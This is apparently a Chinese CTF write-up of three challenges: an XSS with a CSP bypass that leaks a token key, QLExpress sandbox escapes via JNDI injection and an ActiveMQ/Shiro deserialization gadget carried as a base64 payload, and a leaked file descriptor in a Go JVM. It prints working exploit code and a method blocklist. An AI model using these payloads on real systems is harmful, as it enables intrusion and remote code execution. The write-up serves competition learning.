比赛中只做了下xss,后面看了看其他题也都挺好,记录一下。

Spectre

预期解

csp规则,过滤挺多的 image.png

但在渲染的时候会进行替换,但是只针对developer用户,默认登陆只有default role,但是bot本身就是用developer用户访问,所以给bot的时候会用这个render进行解析。 image.png

调试一下,它替换if的时候能够绕过xss。 <script type="text/javascript" nonce="{{ nonce }}">alert(6)</script> image.png

我们的目的是获取token key,这里发现给了一个share-view.dev.js,通过这个能leak token key image.png 这样利用返回值不同即可一位一位的leak。 checker("a".repeat(16-prefix.length)+prefix,16-prefix.length)()

但还有一个问题就是怎么获取到值,发送到vps需要绕跨域,所以这里利用fetch先logout->login->submit,把token key作为文章内容,在default role用户下创建文章即可。

exp.js如下

<script type="text/javascript"  nonce="{{ nonce }}">
async function submitContent(s) {
    const response = await fetch('http://localhost:3000/submit', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept': '*/*',
            'Origin': 'http://localhost:3000',
            'Referer': 'http://localhost:3000/submit',
            'Cookie': 'token=eyJ1aWQiOiJrazEyMyIsInJvbGUiOiJ1c2VyIn0.WDs6zl8WNtvMlujfvD+BK6lDg1N+jljh+aCPTC2WKwdwr9jLHyCIHc6bVI1ZrjbE'
        },
        credentials: 'include',
        body: new URLSearchParams({
            content: s
        }).toString()
    });
 
    if (response.ok) {
        const data = await response.json(); 
        console.log(data);
    } else {
        console.error('Submission failed:', response.statusText);
    }
}
 
async function logout() {
    const response = await fetch('http://localhost:3000/account/logout', {
        method: 'GET',
        headers: {
            'Accept': '*/*',
            'Origin': 'http://localhost:3000',
            }
    });
 
}
logout();
 
async function login() {
    const response = await fetch('http://localhost:3000/account/login', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
            'Accept': '*/*',
            'Origin': 'http://localhost:3000',
            'Referer': 'http://localhost:3000/account/login'
        },
        body: new URLSearchParams({
            username: 'kk123',
            password: '330ab5315ad8cdb57233fd00720fc1cb3009b87eec7745d8b31b3e513239a910',
            remember: '1'
        }).toString()
    });
 
}
 
login();
 
tkflag = "";
function findTk() {
    // `tk` 由 32 个字符组成,每个字符的 ASCII 值范围为 0 到 255。
    const maxLength = 16;
    const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    let found = false;
    let tk = "";
 
    // 循环遍历可能的字符串,逐步测试
    async function tryCombination(s) {
 
        for (const char of chars) {
            prefix = char + s
            if(checker("a".repeat(16-prefix.length)+prefix,16-prefix.length)()){
                console.log('Found tk:', prefix);
                submitContent(prefix);
                tk = prefix
                if (prefix.length === maxLength) {
                    return prefix;
                }else{
                    return tryCombination(prefix);
                }
            }
        }
 
    }
    tryCombination('');
    return tk
}
 
print(findTk());
 
 
 
</script>

image.png image.png

非预期

参考官方wp https://blog.wm-team.cn/index.php/archives/80/#XSS+%E4%B9%8B%E5%90%8E%EF%BC%9ASharedArrayBuffer+%E9%82%A3%E4%BA%9B%E4%BA%8B

PasswdStealer

ql

ql表达式 https://github.com/alibaba/QLExpress https://xie.infoq.cn/article/cab7d959586516642e98cbbb8

QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);开启黑名单如下

static {
    SECURITY_RISK_METHOD_LIST.add(System.class.getName() + ".exit");
    SECURITY_RISK_METHOD_LIST.add(Runtime.getRuntime().getClass().getName() + ".exec");
    SECURITY_RISK_METHOD_LIST.add(ProcessBuilder.class.getName() + ".start");
    SECURITY_RISK_METHOD_LIST.add(Method.class.getName() + ".invoke");
    SECURITY_RISK_METHOD_LIST.add(Class.class.getName() + ".forName");
    SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".loadClass");
    SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".findClass");
    SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".defineClass");
    SECURITY_RISK_METHOD_LIST.add(ClassLoader.class.getName() + ".getSystemClassLoader");
    SECURITY_RISK_METHOD_LIST.add("javax.naming.InitialContext.lookup");
    SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setDataSourceName");
    SECURITY_RISK_METHOD_LIST.add("com.sun.rowset.JdbcRowSetImpl.setAutoCommit");
    SECURITY_RISK_METHOD_LIST.add("jdk.jshell.JShell.create");
    SECURITY_RISK_METHOD_LIST.add("javax.script.ScriptEngineManager.getEngineByName");
    SECURITY_RISK_METHOD_LIST.add("org.springframework.jndi.JndiLocatorDelegate.lookup");
    Method[] var0 = QLExpressRunStrategy.class.getMethods();
    int var1 = var0.length;

    for(int var2 = 0; var2 < var1; ++var2) {
        Method method = var0[var2];
        SECURITY_RISK_METHOD_LIST.add(QLExpressRunStrategy.class.getName() + "." + method.getName());
    }

依赖还给了activemq-shiro,存在cb反序列化链子,主要找触发反序列化的点了

解法一

利用JdbcRowSetImpl打JNDI,

package org.example;
 
import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;
import com.ql.util.express.IExpressContext;
import com.ql.util.express.config.QLExpressRunStrategy;
import java.util.*;
 
public class test {
    public static void main(String[] args) {
        ExpressRunner runner = new ExpressRunner();
        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
        Set<String> secureMethods = new HashSet<>();
        secureMethods.add("java.lang.Integer.valueOf");
        String poc = "com.sun.rowset.JdbcRowSetImpl jdbc = new com.sun.rowset.JdbcRowSetImpl();jdbc.dataSourceName =\"ldap://localhost:1389/Exploit\";jdbc.autoCommit = true;\n" ;
        QLExpressRunStrategy.setSecureMethods(secureMethods);
        DefaultContext<String, Object> context = new DefaultContext();
        try {
            String shellcode = String.valueOf(runner.execute(poc, (IExpressContext)context, (List)null, false, false));
            System.out.println(shellcode);
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

解法二

https://github.com/CTFCON/slides/blob/main/2024/Make%20ActiveMQ%20Attack%20Authoritative.pdf

其中的Sink点在于 IniEnvironment

   public IniEnvironment(String iniConfig) {
        Ini ini = new Ini();
        ini.load(iniConfig);
        this.ini = ini;
        this.init();
    }

这里其实对应Shiro的Ini配置文件,议题中也说到在设置和获取属性的时候会触发任意的getter和setter。最终sink点也选取议题中提到的ActiveMQObjectMessage。该类有一个getObject方法存在二次反序列化

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
 
package org.apache.activemq.command;
 
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.Serializable;
import java.util.Arrays;
import java.util.List;
import java.util.zip.DeflaterOutputStream;
import java.util.zip.InflaterInputStream;
import javax.jms.JMSException;
import javax.jms.ObjectMessage;
import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.util.ByteArrayInputStream;
import org.apache.activemq.util.ByteArrayOutputStream;
import org.apache.activemq.util.ByteSequence;
import org.apache.activemq.util.ClassLoadingAwareObjectInputStream;
import org.apache.activemq.util.JMSExceptionSupport;
import org.apache.activemq.wireformat.WireFormat;
 
public class ActiveMQObjectMessage extends ActiveMQMessage implements ObjectMessage, TransientInitializer {
    public static final byte DATA_STRUCTURE_TYPE = 26;
    private transient List<String> trustedPackages;
    private transient boolean trustAllPackages;
    protected transient Serializable object;
 
    public ActiveMQObjectMessage() {
        this.trustedPackages = Arrays.asList(ClassLoadingAwareObjectInputStream.serializablePackages);
        this.trustAllPackages = false;
    }
 
 
    public Serializable getObject() throws JMSException {
        if (this.object == null && this.getContent() != null) {
            try {
                ByteSequence content = this.getContent();
                InputStream is = new ByteArrayInputStream(content);
                if (this.isCompressed()) {
                    is = new InflaterInputStream((InputStream)is);
                }
 
                DataInputStream dataIn = new DataInputStream((InputStream)is);
                ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
                objIn.setTrustedPackages(this.trustedPackages);
                objIn.setTrustAllPackages(this.trustAllPackages);
 
                try {
                    this.object = (Serializable)objIn.readObject();
                } catch (ClassNotFoundException var10) {
                    throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + var10, var10);
                } finally {
                    dataIn.close();
                }
            } catch (IOException var12) {
                throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + var12, var12);
            }
        }
 
        return this.object;
    }
 
}

最终exp

[main]
activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage
byteSequence=org.apache.activemq.util.ByteSequence
byteSequence.data=内容
byteSequence.length=长度
activeMQObjectMessage.content=$byteSequence
activeMQObjectMessage.trustAllPackages=true
activeMQObjectMessage.object.a=1
package org.example;
 
import com.ql.util.express.DefaultContext;
import com.ql.util.express.ExpressRunner;
import com.ql.util.express.IExpressContext;
import com.ql.util.express.config.QLExpressRunStrategy;
 
import java.util.Base64;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
 
/* loaded from: test.class */
public class test {
    public static void main(String[] args) {
        ExpressRunner runner = new ExpressRunner();
        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
        Set<String> secureMethods = new HashSet<>();
        secureMethods.add("java.lang.Integer.valueOf");
        QLExpressRunStrategy.setSecureMethods(secureMethods);
        DefaultContext<String, Object> context = new DefaultContext<>();
        String express="bmV3IG9yZy5hcGFjaGUuYWN0aXZlbXEuc2hpcm8uZW52LkluaUVudmlyb25tZW50KCJbbWFpbl1cbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZT1vcmcuYXBhY2hlLmFjdGl2ZW1xLmNvbW1hbmQuQWN0aXZlTVFPYmplY3RNZXNzYWdlXG4iICsKICAgICAgICAgICAgICAgICJieXRlU2VxdWVuY2U9b3JnLmFwYWNoZS5hY3RpdmVtcS51dGlsLkJ5dGVTZXF1ZW5jZVxuIiArCiAgICAgICAgICAgICAgICAiYnl0ZVNlcXVlbmNlLmRhdGE9ck8wQUJYTnlBQmRxWVhaaExuVjBhV3d1VUhKcGIzSnBkSGxSZFdWMVpaVGFNTFQ3UDRLeEF3QUNTUUFFYzJsNlpVd0FDbU52YlhCaGNtRjBiM0owQUJaTWFtRjJZUzkxZEdsc0wwTnZiWEJoY21GMGIzSTdlSEFBQUFBQ2MzSUFLMjl5Wnk1aGNHRmphR1V1WTI5dGJXOXVjeTVpWldGdWRYUnBiSE11UW1WaGJrTnZiWEJoY21GMGIzTGpvWWpxY3lLa1NBSUFBa3dBQ21OdmJYQmhjbUYwYjNKeEFINEFBVXdBQ0hCeWIzQmxjblI1ZEFBU1RHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN2VIQnpjZ0EvYjNKbkxtRndZV05vWlM1amIyMXRiMjV6TG1OdmJHeGxZM1JwYjI1ekxtTnZiWEJoY21GMGIzSnpMa052YlhCaGNtRmliR1ZEYjIxd1lYSmhkRzl5Ky9TWkpiaHVzVGNDQUFCNGNIUUFFRzkxZEhCMWRGQnliM0JsY25ScFpYTjNCQUFBQUFOemNnQTZZMjl0TG5OMWJpNXZjbWN1WVhCaFkyaGxMbmhoYkdGdUxtbHVkR1Z5Ym1Gc0xuaHpiSFJqTG5SeVlYZ3VWR1Z0Y0d4aGRHVnpTVzF3YkFsWFQ4RnVyS3N6QXdBR1NRQU5YMmx1WkdWdWRFNTFiV0psY2trQURsOTBjbUZ1YzJ4bGRFbHVaR1Y0V3dBS1gySjVkR1ZqYjJSbGMzUUFBMXRiUWxzQUJsOWpiR0Z6YzNRQUVsdE1hbUYyWVM5c1lXNW5MME5zWVhOek8wd0FCVjl1WVcxbGNRQitBQVJNQUJGZmIzVjBjSFYwVUhKdmNHVnlkR2xsYzNRQUZreHFZWFpoTDNWMGFXd3ZVSEp2Y0dWeWRHbGxjenQ0Y0FBQUFBRC8vLy8vZFhJQUExdGJRa3Y5R1JWblo5czNBZ0FBZUhBQUFBQUNkWElBQWx0Q3JQTVgrQVlJVk9BQ0FBQjRjQUFBQWsvSy9ycStBQUFBTVFBbEFRQVFWREl4TVRjeE56ZzJOamMyTURrd01BY0FBUUVBRUdwaGRtRXZiR0Z1Wnk5UFltcGxZM1FIQUFNQkFBcFRiM1Z5WTJWR2FXeGxBUUFWVkRJeE1UY3hOemcyTmpjMk1Ea3dNQzVxWVhaaEFRQUlQR05zYVc1cGRENEJBQU1vS1ZZQkFBUkRiMlJsQVFBUmFtRjJZUzlzWVc1bkwxSjFiblJwYldVSEFBb0JBQXBuWlhSU2RXNTBhVzFsQVFBVktDbE1hbUYyWVM5c1lXNW5MMUoxYm5ScGJXVTdEQUFNQUEwS0FBc0FEZ0VBRUdwaGRtRXZiR0Z1Wnk5VGRISnBibWNIQUJBQkFBWThhVzVwZEQ0QkFBVW9XMElwVmd3QUVnQVRDZ0FSQUJRQkFBUmxlR1ZqQVFBbktFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk95bE1hbUYyWVM5c1lXNW5MMUJ5YjJObGMzTTdEQUFXQUJjS0FBc0FHQUVBUUdOdmJTOXpkVzR2YjNKbkwyRndZV05vWlM5NFlXeGhiaTlwYm5SbGNtNWhiQzk0YzJ4MFl5OXlkVzUwYVcxbEwwRmljM1J5WVdOMFZISmhibk5zWlhRSEFCb0JBQlJxWVhaaEwybHZMMU5sY21saGJHbDZZV0pzWlFjQUhBRUFFSE5sY21saGJGWmxjbk5wYjI1VlNVUUJBQUZLQmEwZ2svT1IzZTgrQVFBTlEyOXVjM1JoYm5SV1lXeDFaUXdBRWdBSUNnQWJBQ01BSVFBQ0FCc0FBUUFkQUFFQUdnQWVBQjhBQVFBaUFBQUFBZ0FnQUFJQUNBQUhBQWdBQVFBSkFBQUFPd0FJQUFJQUFBQXZwd0FEQVV5NEFBKzdBQkZaQjd3SVdRTVFZNUZVV1FRUVlaRlVXUVVRYkpGVVdRWVFZNUZVdHdBVnRnQVpWN0VBQUFBQUFBRUFFZ0FJQUFFQUNRQUFBQkVBQVFBQkFBQUFCU3EzQUNTeEFBQUFBQUFCQUFVQUFBQUNBQVoxY1FCK0FCQUFBQUhweXY2NnZnQUFBRFFBR3dvQUF3QVZCd0FYQndBWUJ3QVpBUUFRYzJWeWFXRnNWbVZ5YzJsdmJsVkpSQUVBQVVvQkFBMURiMjV6ZEdGdWRGWmhiSFZsQlhIbWFlNDhiVWNZQVFBR1BHbHVhWFErQVFBREtDbFdBUUFFUTI5a1pRRUFEMHhwYm1WT2RXMWlaWEpVWVdKc1pRRUFFa3h2WTJGc1ZtRnlhV0ZpYkdWVVlXSnNaUUVBQkhSb2FYTUJBQU5HYjI4QkFBeEpibTVsY2tOc1lYTnpaWE1CQUN4TWVYTnZjMlZ5YVdGc0wyZGhaR2RsZEM5d1lYbHNiMkZrY3k5MWRHbHNMMGRoWkdkbGRITWtSbTl2T3dFQUNsTnZkWEpqWlVacGJHVUJBQXhIWVdSblpYUnpMbXBoZG1FTUFBb0FDd2NBR2dFQUtubHpiM05sY21saGJDOW5ZV1JuWlhRdmNHRjViRzloWkhNdmRYUnBiQzlIWVdSblpYUnpKRVp2YndFQUVHcGhkbUV2YkdGdVp5OVBZbXBsWTNRQkFCUnFZWFpoTDJsdkwxTmxjbWxoYkdsNllXSnNaUUVBSm5semIzTmxjbWxoYkM5bllXUm5aWFF2Y0dGNWJHOWhaSE12ZFhScGJDOUhZV1JuWlhSekFDRUFBZ0FEQUFFQUJBQUJBQm9BQlFBR0FBRUFCd0FBQUFJQUNBQUJBQUVBQ2dBTEFBRUFEQUFBQUM4QUFRQUJBQUFBQlNxM0FBR3hBQUFBQWdBTkFBQUFCZ0FCQUFBQTRRQU9BQUFBREFBQkFBQUFCUUFQQUJJQUFBQUNBQk1BQUFBQ0FCUUFFUUFBQUFvQUFRQUNBQllBRUFBSmNIUUFDRnBOVFZoV1UwSktjSGNCQUhoeEFINEFEWGc9XG4iICsKICAgICAgICAgICAgICAgICJieXRlU2VxdWVuY2UubGVuZ3RoPTIyNTdcbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZS5jb250ZW50PSRieXRlU2VxdWVuY2VcbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZS50cnVzdEFsbFBhY2thZ2VzPXRydWVcbiIgKwogICAgICAgICAgICAgICAgImFjdGl2ZU1RT2JqZWN0TWVzc2FnZS5vYmplY3QuYT0xIik7";
        String express2 = new String(Base64.getDecoder().decode(express));
        System.out.println(express2);
        try {
            String shellcode = String.valueOf(runner.execute(express2, (IExpressContext<String, Object>) context, (List<String>) null, false, false));
            System.out.println(shellcode);
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

jvm-go

https://github.com/zxh0/jvm.go/blob/master/native/java/io/FileInputStream.go

在原项目上修改过,把 goFile.Close()删了导致文件未关闭 image.png

然后这里是先读的文件 image.png

?page=/flag 然后遍历 /proc/self/fd/xx 拿flag